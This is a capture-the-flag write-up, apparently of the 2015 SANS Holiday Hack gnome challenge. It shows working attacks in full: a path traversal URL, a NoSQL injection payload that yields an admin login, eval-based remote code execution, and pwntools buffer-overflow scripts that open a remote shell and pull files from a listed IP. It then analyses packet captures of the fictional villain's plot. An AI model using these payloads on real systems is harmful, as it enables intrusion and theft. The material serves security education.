View camera image // CAMERA VIEWER // STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file router.get('/cam', function(req, res, next) { var camera = unescape(req.query.camera); // check for .png //if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right? camera = camera + '.png'; // add .png if its not found console.log("Cam:" + camera); fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) { if (e) { res.end('File ./public/images/' + camera + ' does not exist or access denied!'); } }); fs.readFile('./public/images/' + camera, function (e, data) { res.end(data); }); }); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // CAMERA VIEWER // STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file router . get ( '/cam' , function ( req , res , next ) { var camera = unescape ( req . query . camera ) ; // check for .png //if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right? camera = camera + '.png' ; // add .png if its not found console . log ( "Cam:" + camera ) ; fs . access ( './public/images/' + camera , fs . F_OK | fs . R_OK , function ( e ) { if ( e ) { res . end ( 'File ./public/images/' + camera + ' does not exist or access denied!' ) ; } } ) ; fs . readFile ( './public/images/' + camera , function ( e , data ) { res . end ( data ) ; } ) ; } ) ;

This line was commented out, but the relevant vulnerability would be in if (camera.indexOf('.png') == -1) . The code is only checking whether .png is part of the string, but it could occur anywhere. Furthermore, in the fs.access call, the camera parameter is appended to the current path without any filtering. This is a typical path traversal vulnerability.

We can chain the previously identified vulnerability (arbitrary directory creation) and the new one (path traversal) together to show any file to our liking:

In the settings upload, I set the filename to test.png/ .

The newly generated directory is /gnome/www/public/upload/MZkBJaHV/test.png/ . Using this path, which includes “.png”, we can now bypass the filter and perform a path traversal attack.

Requesting http://52.34.3.80/cam?camera=../upload/MZkBJaHV/test.png/../../../../files/gnome.conf will now show us the following gnome.conf file:

SG-02 gnome.conf Gnome Serial Number: XKCD988 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-02 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/ 1 2 3 4 5 6 7 8 9 10 11 12 Gnome Serial Number: XKCD988 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-02 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/

The serial number refers us to XCKD #988 🙂

SG-03 IP: 52.64.191.71

We cannot use our usual credentials to login to SG-03. We can authenticate using the other set of credentials (user/user), but it doesn’t allow us to do anything. Let’s go back to the source code!

Login action // LOGIN POST router.post('/', function(req, res, next) { var db = req.db; var msgs = []; db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below. Really guys? //db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars if (err || !user) { console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password); msgs.push('Invalid username or password!'); res.msgs = msgs; res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid], res: res }); } else { sessionid = gen_session(); sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level }; console.log("User level:" + user.user_level); res.cookie('sessionid', sessionid); res.writeHead(301,{ Location: '/' }); res.end(); } }); }); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // LOGIN POST router . post ( '/' , function ( req , res , next ) { var db = req . db ; var msgs = [ ] ; db . get ( 'users' ) . findOne ( { username : req . body . username , password : req . body . password } , function ( err , user ) { // STUART: Removed this in favor of below. Really guys? //db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars if ( err || ! user ) { console . log ( 'Invalid username and password: ' + req . body . username + '/' + req . body . password ) ; msgs . push ( 'Invalid username or password!' ) ; res . msgs = msgs ; res . render ( 'index' , { title : 'GIYH::ADMIN PORT V.01' , session : sessions [ req . cookies . sessionid ] , res : res } ) ; } else { sessionid = gen_session ( ) ; sessions [ sessionid ] = { username : user . username , logged_in : true , user_level : user . user _ level } ; console . log ( "User level:" + user . user_level ) ; res . cookie ( 'sessionid' , sessionid ) ; res . writeHead ( 301 , { Location : '/' } ) ; res . end ( ) ; } } ) ; } ) ;

In the login function, we can see that user input is passed to the db.get('users').findOne function. However, it is not escaping our input and directly passes any JavaScript object on to the database. Let’s see how we can exploit it. Your typical NoSQL injection will look as follows:

POST / HTTP/1.0 Content-type: application/json { "username": {"$gt": ""}, "password": {"$gt": ""} } 1 2 3 4 5 6 7 POST / HTTP/1.0 Content-type: application/json { "username": {"$gt": ""}, "password": {"$gt": ""} }

This is equivalent to the SQL-like ' OR 1 -- injection. In this case we’re trying to query an account with username and password value greater than an empty string. Other operators also exist for which the complete list is available in the MongoDB manual.

In this case we want to get access to the admin’s user account. We can use the $eq operator for this purpose and ask for the admin’s account specifically.

This is what happened on the server side:

MongoDB shell > db.users.findOne({username: {"$eq": "admin"}, password: {"$gt": ""}}) { "_id" : ObjectId("56229f63809473d11033515c"), "username" : "admin", "password" : "SittingOnAShelf", "user_level" : 100 } 1 2 3 4 5 6 7 > db . users . findOne ( { username : { "$eq" : "admin" } , password : { "$gt" : "" } } ) { "_id" : ObjectId ( "56229f63809473d11033515c" ) , "username" : "admin" , "password" : "SittingOnAShelf" , "user_level" : 100 }

We obtain a redirect to the main page, indicating that the login was successful. When unsuccessful, an error message is shown instead. We can also see a new session cookie in the server’s response. This cookie holds the admin session. I usually set cookies via the browser’s JavaScript console as follows:

When refreshing the page, we now have a valid admin session and can view and download files from SG-03.

SG-03 gnome.conf Gnome Serial Number: THX1138 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-03 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/ 1 2 3 4 5 6 7 8 9 10 11 12 Gnome Serial Number: THX1138 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-03 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/

The serial number is a reference to George Lucas’ first film.

SG-04 IP: 52.192.152.132

I had already spotted the vulnerability in the firmware code for this one before I accessed it. We can login using our usual credentials, and this time we will get remote code execution (RCE); yay!

In the files upload functionality, you can spot the usage of “eval”.

Files upload // FILES UPLOAD router.post('/files', upload.single('file'), function(req, res, next) { if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload var msgs = []; file = req.file.buffer; if (req.file.mimetype === 'image/png') { msgs.push('Upload successful.'); var postproc_syntax = req.body.postproc; console.log("File upload syntax:" + postproc_syntax); if (postproc_syntax != 'none' && postproc_syntax !== undefined) { msgs.push('Executing post process...'); var result; d.run(function() { result = eval('(' + postproc_syntax + ')'); }); // STUART: (WIP) working to improve image uploads to do some post processing. msgs.push('Post process result: ' + result); } msgs.push('File pending super-admin approval.'); res.msgs = msgs; } else { msgs.push('File not one of the approved formats: .png'); res.msgs = msgs; } } else res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res }); next(); }); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // FILES UPLOAD router . post ( '/files' , upload . single ( 'file' ) , function ( req , res , next ) { if ( sessions [ sessionid ] . logged_in === true && sessions [ sessionid ] . user_level > 99 ) { // NEDFORD: this should be 99 not 100 so admins can upload var msgs = [ ] ; file = req . file . buffer ; if ( req . file . mimetype === 'image/png' ) { msgs . push ( 'Upload successful.' ) ; var postproc_syntax = req . body . postproc ; console . log ( "File upload syntax:" + postproc_syntax ) ; if ( postproc_syntax != 'none' && postproc_syntax !== undefined ) { msgs . push ( 'Executing post process...' ) ; var result ; d . run ( function ( ) { result = eval ( '(' + postproc_syntax + ')' ) ; } ) ; // STUART: (WIP) working to improve image uploads to do some post processing. msgs . push ( 'Post process result: ' + result ) ; } msgs . push ( 'File pending super-admin approval.' ) ; res . msgs = msgs ; } else { msgs . push ( 'File not one of the approved formats: .png' ) ; res . msgs = msgs ; } } else res . render ( 'index' , { title : 'GIYH::ADMIN PORT V.01' , session : sessions [ sessionid ] , res : res } ) ; next ( ) ; } ) ;

In short: if we’re an admin, and the posted file’s MIME type is a PNG file, the postproc POST variable will be eval()’ed as NodeJS code!

Using the following statement as postproc POST variable, we can read the contents of our gnome.conf file:

fs.readFileSync("files/gnome.conf") 1 fs . readFileSync ( "files/gnome.conf" )

SG-04 gnome.conf Gnome Serial Number: BU22_1729_2716057 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-04 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/ 1 2 3 4 5 6 7 8 9 10 11 12 Gnome Serial Number: BU22_1729_2716057 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-04 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/

You can also use this vulnerability to obtain a shell into the remote system. Consider the following example to execute the id command on the remote server:

require('child_process').spawnSync("id").output 1 require ( 'child_process' ) . spawnSync ( "id" ) . output

SG-05 IP: 54.233.105.81

And now for the icing on the cake, binary exploitation! We can login to the web interface using the usual credentials, but when attempting to download files, we obtain the following error: “File not found or access denied!”.

When exploring SG-01 we also found some other files, including sgnet.zip . This zip file contains C source code.

In the first few lines of sgstatd, we find the following code:

sgstatd.c excerpt //user to drop privileges to const char *USER = "nobody"; //port to bind and listen on const unsigned short PORT = 4242; 1 2 3 4 //user to drop privileges to const char * USER = "nobody" ; //port to bind and listen on const unsigned short PORT = 4242 ;

When attempting to connect to SG-05 on the target port 4242 we receive an options menu:

sgstatd listener $ nc 54.233.105.81 4242 Welcome to the SuperGnome Server Status Center! Please enter one of the following options: 1 - Analyze hard disk usage 2 - List open TCP sockets 3 - Check logged in users 1 Filesystem 1K-blocks Used Available Use% Mounted on /dev/xvda1 8115168 5044884 2635008 66% / none 4 0 4 0% /sys/fs/cgroup udev 502960 12 502948 1% /dev tmpfs 101632 340 101292 1% /run none 5120 0 5120 0% /run/lock none 508144 0 508144 0% /run/shm none 102400 0 102400 0% /run/user $ nc 54.233.105.81 4242 Welcome to the SuperGnome Server Status Center! Please enter one of the following options: 1 - Analyze hard disk usage 2 - List open TCP sockets 3 - Check logged in users 2 Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:58333 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:18333 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:17771 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:18444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:17871 0.0.0.0:* LISTEN tcp 0 0 172.31.32.97:8080 45.23.138.82:45793 SYN_RECV tcp 0 0 172.31.32.97:8080 45.23.138.82:45789 SYN_RECV tcp 0 0 172.31.32.97:8080 45.23.138.82:45790 SYN_RECV tcp 0 0 172.31.32.97:8080 45.23.138.82:45791 SYN_RECV tcp 0 0 172.31.32.97:8080 45.23.138.82:45792 SYN_RECV tcp 0 0 0.0.0.0:4242 0.0.0.0:* LISTEN tcp 0 0 172.31.32.97:4242 80.98.248.92:41785 CLOSE_WAIT tcp 0 0 127.0.0.1:27017 127.0.0.1:36669 ESTABLISHED tcp 0 0 127.0.0.1:36670 127.0.0.1:27017 ESTABLISHED tcp 2 0 172.31.32.97:4242 39.109.139.56:50044 CLOSE_WAIT tcp 0 0 172.31.32.97:4242 76.93.132.61:34930 CLOSE_WAIT tcp 0 0 172.31.32.97:50097 46.11.125.19:80 ESTABLISHED tcp 0 0 127.0.0.1:27017 127.0.0.1:36671 ESTABLISHED tcp 0 0 172.31.32.97:4242 76.93.132.61:38962 CLOSE_WAIT --snip-- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 $ nc 54.233.105.81 4242 Welcome to the SuperGnome Server Status Center! Please enter one of the following options: 1 - Analyze hard disk usage 2 - List open TCP sockets 3 - Check logged in users 1 Filesystem 1K-blocks Used Available Use% Mounted on /dev/xvda1 8115168 5044884 2635008 66% / none 4 0 4 0% /sys/fs/cgroup udev 502960 12 502948 1% /dev tmpfs 101632 340 101292 1% /run none 5120 0 5120 0% /run/lock none 508144 0 508144 0% /run/shm none 102400 0 102400 0% /run/user $ nc 54.233.105.81 4242 Welcome to the SuperGnome Server Status Center! Please enter one of the following options: 1 - Analyze hard disk usage 2 - List open TCP sockets 3 - Check logged in users 2 Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:58333 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:18333 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:17771 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:18444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:17871 0.0.0.0:* LISTEN tcp 0 0 172.31.32.97:8080 45.23.138.82:45793 SYN_RECV tcp 0 0 172.31.32.97:8080 45.23.138.82:45789 SYN_RECV tcp 0 0 172.31.32.97:8080 45.23.138.82:45790 SYN_RECV tcp 0 0 172.31.32.97:8080 45.23.138.82:45791 SYN_RECV tcp 0 0 172.31.32.97:8080 45.23.138.82:45792 SYN_RECV tcp 0 0 0.0.0.0:4242 0.0.0.0:* LISTEN tcp 0 0 172.31.32.97:4242 80.98.248.92:41785 CLOSE_WAIT tcp 0 0 127.0.0.1:27017 127.0.0.1:36669 ESTABLISHED tcp 0 0 127.0.0.1:36670 127.0.0.1:27017 ESTABLISHED tcp 2 0 172.31.32.97:4242 39.109.139.56:50044 CLOSE_WAIT tcp 0 0 172.31.32.97:4242 76.93.132.61:34930 CLOSE_WAIT tcp 0 0 172.31.32.97:50097 46.11.125.19:80 ESTABLISHED tcp 0 0 127.0.0.1:27017 127.0.0.1:36671 ESTABLISHED tcp 0 0 172.31.32.97:4242 76.93.132.61:38962 CLOSE_WAIT --snip--

Taking a closer look at the C code of sgstatd.c , we can see a switch statement. Here’s that same code cleaned up in pseudo-C:

sgstatd.c switch statement pseudo code switch (choice) { case '1': // chr(49) = '1' write(sd, execute("/bin/df")); break; case '2': // chr(50) = '2' write(sd, execute("/bin/netstat -tan")); break; case '3': // chr(51) = '3' write(sd, execute("/usr/bin/who")); break; case 'X': // chr(88) == 'X' write(sd, "Hidden command detected!



"); write(sd, "Enter a short message to share with GnomeNet (please allow 10 seconds) => "); sgstatd(sd); write(sd, "

Request Completed!



"); break; default: write(sd, "Invalid choice!

"); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 switch ( choice ) { case '1' : // chr(49) = '1' write ( sd , execute ( "/bin/df" ) ) ; break ; case '2' : // chr(50) = '2' write ( sd , execute ( "/bin/netstat -tan" ) ) ; break ; case '3' : // chr(51) = '3' write ( sd , execute ( "/usr/bin/who" ) ) ; break ; case 'X' : // chr(88) == 'X' write ( sd , "Hidden command detected!



" ) ; write ( sd , "Enter a short message to share with GnomeNet (please allow 10 seconds) => " ) ; sgstatd ( sd ) ; write ( sd , "

Request Completed!



" ) ; break ; default : write ( sd , "Invalid choice!

" ) ; }

It appears that there is a non-advertised fourth option, which gets triggered when we enter ‘X’. This hidden command will call the function sgstatd .

sgstatd.c sgstatd function int sgstatd(sd) { __asm__("movl $0xe4ffffe4, -4(%ebp)"); //Canary pushed char bin[100]; write(sd, "

This function is protected!

", 30); fflush(stdin); //recv(sd, &bin, 200, 0); sgnet_readn(sd, &bin, 200); __asm__("movl -4(%ebp), %edx

\t" "xor $0xe4ffffe4, %edx

\t" // Canary checked "jne sgnet_exit"); return 0; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int sgstatd ( sd ) { __asm__ ( "movl $0xe4ffffe4, -4(%ebp)" ) ; //Canary pushed char bin [ 100 ] ; write ( sd , "

This function is protected!

" , 30 ) ; fflush ( stdin ) ; //recv(sd, &bin, 200, 0); sgnet_readn ( sd , & bin , 200 ) ; __asm__ ( "movl -4(%ebp), %edx

\t" "xor $0xe4ffffe4, %edx

\t" // Canary checked "jne sgnet_exit" ) ; return 0 ; }

As we can see in the sgstatd function, 200 bytes are read to the pointer &bin using the sgnet_readn function. However, only 100 bytes are allocated on the stack for bin . What happens when more than 100 bytes are read to that pointer, is a classic buffer overflow: the adjacent stack memory will be overwritten by our input. We should be able to overwrite the return address of the function in order to obtain code execution. The return address is where the execution will continue after reaching the end of the function. Look here for some more details on the call stack.

Furthermore, a manual canary value is set. The canary in this case is 0xe4ffffe4 . There is a check whether the canary value is still the same at the end of executing the sgstatd function. The canary will be overwritten if we read more than 100 bytes into &bin , because the canary is in the adjacent stack memory. If the canary value doesn’t match, we jump to sgnet_exit , exiting the code so we’ll never reach our overwritten return address.

During the firmware analysis, we obtained the compiled version of the sgstatd binary. In the example below, I’m using binjitsu for Python to analyse the security features of the binary. A popular alternative is checksec. These tools can check if a binary was compiled with features such as a non-executable stack (NX-bit), stack canaries, position independent code, etc. Security features have been largely disabled it seems, which will make it easier for us to exploit any vulnerabilities.

Security check on usr/bin/sgstatd $ python -c 'from pwn import ELF; ELF("usr/bin/sgstatd");' [*] '/home/pen/Documents/hhc/firmware-mod-kit-master/fmk/rootfs/usr/bin/sgstatd' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE 1 2 3 4 5 6 7 $ python - c 'from pwn import ELF; ELF("usr/bin/sgstatd");' [ * ] '/home/pen/Documents/hhc/firmware-mod-kit-master/fmk/rootfs/usr/bin/sgstatd' Arch : i386 - 32 - little RELRO : No RELRO Stack : No canary found NX : NX disabled PIE : No PIE

We’re dealing with a binary that was compiled for 32-bit, and does not have the NX-bit set. The NX-bit can be used to mark memory regions as non-executable. In this case, the stack memory will not be marked as NX, meaning we can execute shellcode directly on the stack. Binjitsu also reports that no canary was found, but earlier on we found a canary in the source code: this is because the canary was added manually, and is not using the compiler’s stack canary protections.

Let’s see if we can trigger the buffer overflow. In one terminal window I’m running the sgstatd binary locally, while I’m piping some text to the listener via netcat in another terminal window. I’m using strace to log crashes within the process.

Regular execution: the hidden command ‘X’ is triggered, after which we send some input “hello”. We trigger the buffer overflow by reading more than 100 bytes into &bin . “Canary not repaired” is shown because we overwrote the canary value on the stack. We try to fix the canary value by sending it as our payload. We still get the “Canary not repaired” message, indicating that we might not have the correct alignment. Try a different alignment. Try a different alignment. Using 3 extra padding bytes, we now got the correct alignment for the canary, since the “Canary not repaired” message is no longer shown. We now see that a segmenation fault is triggered, because we overwrote the function’s return address with the canary value. The 3 extra padding bytes are now followed by 100 bytes (the size of bin ). The next value on the stack is the canary. The return address is 4 bytes ahead. We can now return to any address by replacing BBBB ( 0x42424242 )

We can now influence the return address while keeping the canary intact. But where to return to? In the code, the popen call is available, which we could use to execute a command on the system. However, popen requires a string argument containing our command. We would need to know the address of the stack pointer to be able to point to a string that we read onto the stack. There is no information leakage as far as I could tell that could point us to the stack address.

One of the easiest things to do in that case is to find an instruction gadget that allows us to transfer execution to the current stack position. Specifically, that means we’re looking for jmp esp . Our tool of choice in this case is ROPgadget .

ROPgadget $ ROPgadget --binary usr/bin/sgstatd --only jmp Gadgets information ============================================================ 0x0804936b : jmp esp Unique gadgets found: 1 1 2 3 4 5 6 $ ROPgadget -- binary usr / bin / sgstatd -- only jmp Gadgets information === === === === === === === === === === === === === === === === === === === === 0x0804936b : jmp esp Unique gadgets found : 1

We’re in luck! We can transfer code execution to the stack using the jmp esp instruction at 0x0804936b . If we set this address as our return address in the buffer overflow, we can place shellcode on the stack that will be executed. Note that this is only possible because the NX-bit is not set. Again, I’m resorting to binjitsu to create the exploit. Binjitsu features helpful functions to make the exploiting process a lot easier.

We already had the following payload ( p32 is a utility function to pack an integer):

"PPP" + "A"*100 + p32(canary) + "AAAA" + p32(return_address) 1 "PPP" + "A" * 100 + p32 ( canary ) + "AAAA" + p32 ( return_address )

I’m modifying it as follows:

"PPP" + "A"*100 + p32(canary) + "AAAA" + p32(jmp_esp) + asm(shellcraft.findpeersh()) + "C"*22 + cmd + ";exit" 1 "PPP" + "A" * 100 + p32 ( canary ) + "AAAA" + p32 ( jmp_esp ) + asm ( shellcraft . findpeersh ( ) ) + "C" * 22 + cmd + ";exit"

The shellcraft module of binjitsu contains helpful shellcodes. shellcraft.findpeersh() will do three things at once. First, it will locate the currently open socket for our connection and place it in the esi register. Second, it will call dup to duplicate the sock in esi to stdin, stdout and stderr. Third, it will spawn a shell.

We’re effectively bypassing a protection here that randomizes the file descriptor for the socket by letting the shellcode automatically locate it (“findpeer”). This randomizer is implemented in sgnet_randfd and is called by the sgnet_server function in the sgnet.c file.

"C"*22 are some extra padding bytes that are needed before our own commands are read. I’m adding ;exit to exit the shell after we’ve run the command.

exploit.py from pwn import * ELF("usr/bin/sgstatd") canary = 0xe4ffffe4 jmp_esp = 0x0804936b def rexec(cmd): print p = log.progress("Executing '%s'" % cmd) r = remote("54.233.105.81", 4242) r.recv() r.sendline("X") r.recvuntil("protected!

") r.recv() payl = "PPP" + "A"*100 + p32(canary) + "AAAA" + p32(jmp_esp) + asm(shellcraft.findpeersh()) + "C"*22 + cmd + ";exit" r.sendline(payl.ljust(200, "

")) ret = r.recvall() r.close() p.success() return ret log.success(rexec("id")) log.success(rexec("uname -a")) for fn in ["/gnome/www/files/20151215161015.zip", "/gnome/www/files/factory_cam_5.zip", "/gnome/www/files/gnome.conf"]: res = "" with open(os.path.basename(fn), "wb") as fh: res = rexec("cat %s" % fn) fh.write(res) log.success("Fetched '%s' (%d bytes)" % (fn, len(res))) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * ELF ( "usr/bin/sgstatd" ) canary = 0xe4ffffe4 jmp_esp = 0x0804936b def rexec ( cmd ) : print p = log . progress ( "Executing '%s'" % cmd ) r = remote ( "54.233.105.81" , 4242 ) r . recv ( ) r . sendline ( "X" ) r . recvuntil ( "protected!

" ) r . recv ( ) payl = "PPP" + "A" * 100 + p32 ( canary ) + "AAAA" + p32 ( jmp_esp ) + asm ( shellcraft . findpeersh ( ) ) + "C" * 22 + cmd + ";exit" r . sendline ( payl . ljust ( 200 , "

" ) ) ret = r . recvall ( ) r . close ( ) p . success ( ) return ret log . success ( rexec ( "id" ) ) log . success ( rexec ( "uname -a" ) ) for fn in [ "/gnome/www/files/20151215161015.zip" , "/gnome/www/files/factory_cam_5.zip" , "/gnome/www/files/gnome.conf" ] : res = "" with open ( os.path . basename ( fn ) , "wb" ) as fh : res = rexec ( "cat %s" % fn ) fh . write ( res ) log . success ( "Fetched '%s' (%d bytes)" % ( fn , len ( res ) ) )

And there it is, a working remote buffer overflow exploit that allows remote command execution:

I’m spawning a new connection for each command that I send to the server since the binary automatically closes the connection after a few seconds. It does this by setting an alarm which closes the client connection. This is implemented in the sgnet_server function in sgnet.c .

I went a bit futher and modified the Python script to disable the alarm and pop a shell. Disabling an alarm is as easy as calling alarm(0) , and of course binjitsu aso supports this!

shell.py from pwn import * ELF("usr/bin/sgstatd") canary = 0xe4ffffe4 jmp_esp = 0x0804936b r = remote("54.233.105.81", 4242) r.recv() r.sendline("X") r.recvuntil("protected!

") r.recv() payl = "PPP" + "A"*100 + p32(canary) + "AAAA" + p32(jmp_esp) + asm(shellcraft.alarm(0)) + asm(shellcraft.findpeersh()) r.sendline(payl.ljust(200, "

")) # Getting a full-fledged terminal r.sendline("python -c 'import pty; pty.spawn(\"/bin/bash\")'") r.interactive('') 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * ELF ( "usr/bin/sgstatd" ) canary = 0xe4ffffe4 jmp_esp = 0x0804936b r = remote ( "54.233.105.81" , 4242 ) r . recv ( ) r . sendline ( "X" ) r . recvuntil ( "protected!

" ) r . recv ( ) payl = "PPP" + "A" * 100 + p32 ( canary ) + "AAAA" + p32 ( jmp_esp ) + asm ( shellcraft . alarm ( 0 ) ) + asm ( shellcraft . findpeersh ( ) ) r . sendline ( payl . ljust ( 200 , "

" ) ) # Getting a full-fledged terminal r . sendline ( "python -c 'import pty; pty.spawn(\"/bin/bash\")'" ) r . interactive ( '' )

Not much has changed between this version and the previous: first we’re creating some shellcode that calls alarm(0) and then repeat the same process as before. When we get a shell, we’re sending some Python code to spawn a PTY. Although a PTY is not really necessary, it allows us to use commands that would otherwise require a TTY (such as the su command).

Here is the downloaded gnome.conf file:

SG-05 gnome.conf Gnome Serial Number: 4CKL3R43V4 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-05 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/ 1 2 3 4 5 6 7 8 9 10 11 12 Gnome Serial Number: 4CKL3R43V4 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-05 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/

I can’t immediately place the serial number in this case. “Ackler for ever”? The first hit for Ackler on Google is a compsci teacher, so that may be it 🙂





Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution

There are a few things that we didn’t look at yet. Besides the gnome.conf file on each SuperGnome, also pcap files were available and a staticky image. I extracted data from the pcap files via Rightclick > Follow > TCP Stream > Save as in Wireshark. It is SMTP and POP traffic. Since the SMTP traffic is on port 2525 rather than the default of 25, you can decode the traffic manually via Rightclick > Decode As... and setting SMTP as the current data type.

SG-01 pcap, txt and image

SG-02 pcap, txt and image

SG-03 pcap, txt and image

SG-04 pcap, txt and image

SG-05 pcap, txt and image

PCAP files

In the SG-01 extracted stream contents, we can notice a blob of base64-encoded image data. I removed the data leading up to the base64-encoded image and then outputted the resulting image.

$ cat sg1_20141226101055.txt | sed -n '/base64/,$p' | sed -n '/^$/,$p' | base64 -di > architecture.jpg 1 $ cat sg1_20141226101055 . txt | sed - n '/base64/,$p' | sed - n '/^$/,$p' | base64 - di > architecture . jpg

The image describes the GIYH (Gnome In Your Home) architecture 🙂

In the SG-02 stream contents, an e-mail is sent from c@atnascorp.com , requesting of a batch of 2 million of the following components:

Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9 CPU and Linux SDK)

ON Semiconductor AR0330: 3 MP 1/3″ CMOS Digital Image Sensor

Atheros AR6233X Wi-Fi adapter

Texas Instruments TPS65053 switching power supply

Samsung K4B2G16460 2GB SSDR3 SDRAM

Samsung K9F1G08U0D 1GB NAND Flash

That’s some serious power for a Gnome! 🙂

In the SG-03 stream contents, the sinister plan is revealed:

Our long-running plan is nearly complete, and I’m writing to share the date when your thieving will commence! On the morning of December 24, 2015, each individual burglar on this email list will receive a detailed itinerary of specific houses and an inventory of items to steal from each house, along with still photos of where to locate each item. The message will also include a specific path optimized for you to hit your assigned houses quickly and efficiently the night of December 24, 2015 after dark. It’s all quite simple – go to each house, grab the loot, and return it to the designated drop-off area so we can resell it. And, above all, avoid Mount Crumpit! As we agreed, we’ll split the proceeds from our sale 50-50 with each burglar. Oh, and I’ve heard that many of you are asking where the name ATNAS comes from. Why, it’s reverse SANTA, of course. Instead of bringing presents on Christmas, we’ll be stealing them!

The stream contents for SG-04 contain an e-mail from the same e-mail address to a psychiatrist.

To answer your question directly, as a young child (I must have been no more than two), I experienced a life-changing interaction. Very late on Christmas Eve, I was awakened to find a grotesque green Who dressed in a tattered Santa Claus outfit, standing in my barren living room, attempting to shove our holiday tree up the chimney. My senses heightened, I put on my best little-girl innocent voice and asked him what he was doing. He explained that he was “Santy Claus” and needed to send the tree for repair. I instantly knew it was a lie, but I humored the old thief so I could escape to the safety of my bed. That horrifying interaction ruined Christmas for me that year, and I was terrified of the whole holiday season throughout my teen years. I later learned that the green Who was known as “the Grinch” and had lost his mind in the middle of a crime spree to steal Christmas presents. At the very moment of his criminal triumph, he had a pitiful change of heart and started playing all nicey-nice. What an amateur! When I became an adult, my fear of Christmas boiled into true hatred of the whole holiday season. I knew that I had to stop Christmas from coming. But how? I vowed to finish what the Grinch had started, but to do it at a far larger scale. Using the latest technology and a distributed channel of burglars, we’d rob 2 million houses, grabbing their most precious gifts, and selling them on the open market. We’ll destroy Christmas as two million homes full of people all cry “BOO-HOO”, and we’ll turn a handy profit on the whole deal.

